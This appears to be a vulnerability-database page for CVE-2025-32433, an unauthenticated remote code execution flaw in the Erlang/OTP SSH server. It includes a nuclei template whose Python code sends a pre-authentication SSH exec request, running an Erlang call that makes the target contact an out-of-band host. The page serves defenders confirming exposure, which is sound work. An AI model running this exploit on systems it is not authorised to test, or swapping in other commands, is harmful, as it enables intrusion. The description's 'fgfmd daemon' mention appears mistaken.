HexBrain

Browse / CVEs / CVE-2025-32433

CVE-2025-32433· CWE-306

Erlang/OTP SSH - Remote Code Execution

Exploited in the wild. Listed by CISA on 2025-06-09; known to be used by ransomware.

criticalseverity
10CVSS score
98.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Erlang/OTP is a set of libraries for the Erlang programming language. Prior to versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, a SSH server may allow an attacker to perform unauthenticated remote code execution (RCE). By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access to affected systems and execute arbitrary commands without valid credentials.

Impact

Unauthenticated attackers can execute arbitrary code or commands through specially crafted SSH protocol requests to the fgfmd daemon on Erlang/OTP SSH servers.

Fix

This issue is patched in versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20. A temporary workaround involves disabling the SSH server or to prevent access via firewall rules.

How to confirm it

Positive when: contains(interactsh_protocol, "dns")

Run it with nuclei: nuclei -id CVE-2025-32433 -u <target>

The full check
id: CVE-2025-32433

info:
  name: Erlang/OTP SSH - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch,darses
  severity: critical
  description: |
    Erlang/OTP is a set of libraries for the Erlang programming language. Prior to versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, a SSH server may allow an attacker to perform unauthenticated remote code execution (RCE). By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access to affected systems and execute arbitrary commands without valid credentials.
  impact: |
    Unauthenticated attackers can execute arbitrary code or commands through specially crafted SSH protocol requests to the fgfmd daemon on Erlang/OTP SSH servers.
  remediation: |
    This issue is patched in versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20. A temporary workaround involves disabling the SSH server or to prevent access via firewall rules.
  reference:
    - https://platformsecurity.com/blog/CVE-2025-32433-poc
    - https://github.com/erlang/otp/commit/0fcd9c56524b28615e8ece65fc0c3f66ef6e4c12
    - https://github.com/erlang/otp/commit/6eef04130afc8b0ccb63c9a0d8650209cf54892f
    - https://github.com/erlang/otp/commit/b1924d37fd83c070055beb115d5d6a6a9490b891
    - https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32433
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-32433
    cwe-id: CWE-306
    epss-score: 0.98924
    epss-percentile: 0.99927
  metadata:
    verified: true
    max-request: 1
    shodan-query: "Erlang OTP"
  tags: cve,cve2025,erlang,otp,ssh,rce,oast,kev,vkev,vuln

variables:
  OAST: "{{interactsh-url}}"

code:
  - engine:
      - py
      - python3
    source: |
        import socket,os
        import struct
        import time
        import binascii

        HOST = os.getenv('Host')
        PORT = os.getenv('Port')

        def hexdump(data):
            return ' '.join([f'{b:02x}' for b in data])

        def string_payload(s):
            s_bytes = s.encode("utf-8")
            return struct.pack(">I", len(s_bytes)) + s_bytes

        def build_packet(payload):
            padding_length = 8 - ((len(payload) + 5) % 8)
            if padding_length < 4:
                padding_length += 8
            packet_length = len(payload) + padding_length + 1
            packet = (
                struct.pack(">I", packet_length) +
                bytes([padding_length]) +
                payload +
                b"\x00" * padding_length
            )
            return packet

        def build_channel_open(channel_id=0):
            return build_packet(
                b"\x5a" +
                string_payload("session") +
                struct.pack(">I", channel_id) +
                struct.pack(">I", 0x100000) +
                struct.pack(">I", 0x8000) +
                b""
            )

        def build_channel_request(channel_id=0, command=""):
            return build_packet(
                b"\x62" +
                struct.pack(">I", channel_id) +
                string_payload("exec") +
                b"\x01" +
                string_payload(command)
            )

        def build_kexinit():
            cookie = b"\x00" * 16
            kex_algorithms = ["[email protected]", "diffie-hellman-group14-sha1"]
            host_key_algorithms = ["ssh-rsa","rsa-sha2-512","rsa-sha2-256"]
            ciphers = ["aes128-ctr"]
            macs = ["hmac-sha1"]
            compression = ["none"]

            payload = (
                b"\x14" +
                cookie +
                string_payload(",".join(kex_algorithms)) +
                string_payload(",".join(host_key_algorithms)) +
                string_payload(",".join(ciphers)) +
                string_payload(",".join(ciphers)) +
                string_payload(",".join(macs)) +
                string_payload(",".join(macs)) +
                string_payload(",".join(compression)) +
                string_payload(",".join(compression)) +
                string_payload("") +
                string_payload("") +
                b"\x00" +
                struct.pack(">I", 0)
            )
            return build_packet(payload)

        def receive_packet(sock, timeout=5):
            sock.settimeout(timeout)
            try:
                size_data = sock.recv(4)
                if not size_data:
                    return None
                packet_size = struct.unpack(">I", size_data)[0]
                packet = sock.recv(packet_size)
                return packet
            except socket.timeout:
                print("[!] Timeout waiting for response")
                return None
            except Exception as e:
                print(f"[!] Error receiving packet: {e}")
                return None

        try:
            with socket.create_connection((HOST, PORT)) as s:
                print("[*] Connecting to SSH server...")

                # Send initial SSH version with specific version string
                version = b"SSH-2.0-OpenSSH_7.4\r\n"
                s.sendall(version)

                banner = s.recv(1024)
                #print(f"[+] Received banner: {banner.strip().decode(errors='ignore')}")

                #print("[*] Sending KEXINIT...")
                s.sendall(build_kexinit())
                response = receive_packet(s)
                if response:
                    print("[+] Received KEXINIT response")

                print("[*] Sending channel_open...")
                s.sendall(build_channel_open())
                response = receive_packet(s)
                if response:
                    print("[+] Channel opened successfully")
                    msg_type = response[1] if len(response) > 1 else None
                time.sleep(1)
                # Try different payload formats
                payloads = [
                    'inet:gethostbyname("' + os.getenv('OAST') + '").'


                ]
                for payload in payloads:
                    print(f"[*] Trying payload: {payload}")
                    s.sendall(build_channel_request(command=payload))
                    response = receive_packet(s)
                    if response:
                        print(f"[+] Response received for payload: {payload}")
                    time.sleep(1)
                print("[*] Exploit attempt completed")

        except Exception as e:
            print(f"[!] Error during exploitation: {e}")

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from